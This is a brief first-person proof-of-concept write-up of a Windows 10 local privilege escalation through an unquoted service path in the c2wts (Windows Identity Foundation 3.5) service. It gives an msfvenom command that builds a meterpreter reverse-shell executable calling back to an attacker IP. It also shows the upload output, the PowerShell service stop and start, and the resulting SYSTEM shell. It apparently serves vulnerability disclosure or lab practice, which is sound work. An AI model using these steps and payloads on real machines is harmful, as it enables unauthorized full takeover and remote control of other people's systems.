Local Privilege Escalation via Unquoted Service Path

Win10 x64

Windows Identity Foundation 3.5 (c2wtshost.exe)

I executed a powershell stager on the "victim" machine as a local unprivileged user, in order to establish a reverse connection to the attacking machine

Once the connection is established

I enumerated services and configurations and I found out an unquoted service path

ServiceName: c2wts

Path: C:\Program Files\Windows Identity Foundation\v3.5\c2wtshost.exe

StartName: LocalSystem

AbuseFunction: Write-ServiceBinary -ServiceName 'c2wts' -Path <HijackPath>

Since the unquoted path is C:\Program Files\Windows Identity Foundation\v3.5\c2wtshost.exe

I forged an executable that run a reverse shell toward my attacking machine and named it "program" in order to make it run by the service.

I uploaded it to the victim machine and,as the local user, I put it in "c:\"

msfvenom LHOST=192.168.10.15 LPORT=4445 -p windows/meterpreter/reverse_tcp --platform windows -f exe -o program

```
meterpreter > upload program
[*] uploading : /root/winpayloads/program -> program
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /root/winpayloads/program -> program
[*] uploaded : /root/winpayloads/program -> program
```

I stopped the service called "c2wts"

```
PS C:\Windows\system32> stop-service c2wts
PS C:\Windows\system32> get-service c2wts

Status Name DisplayName
------
Stopped c2wts Servizio di conversione da attestaz...
```

As soon as I restarted the service

```
Administrator: Windows PowerShell

Windows PowerShell
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PS C:\Windows\system32> start-service c2wts
```

I got another meterpreter shell, this time as NT\AUTHORITY SYSTEM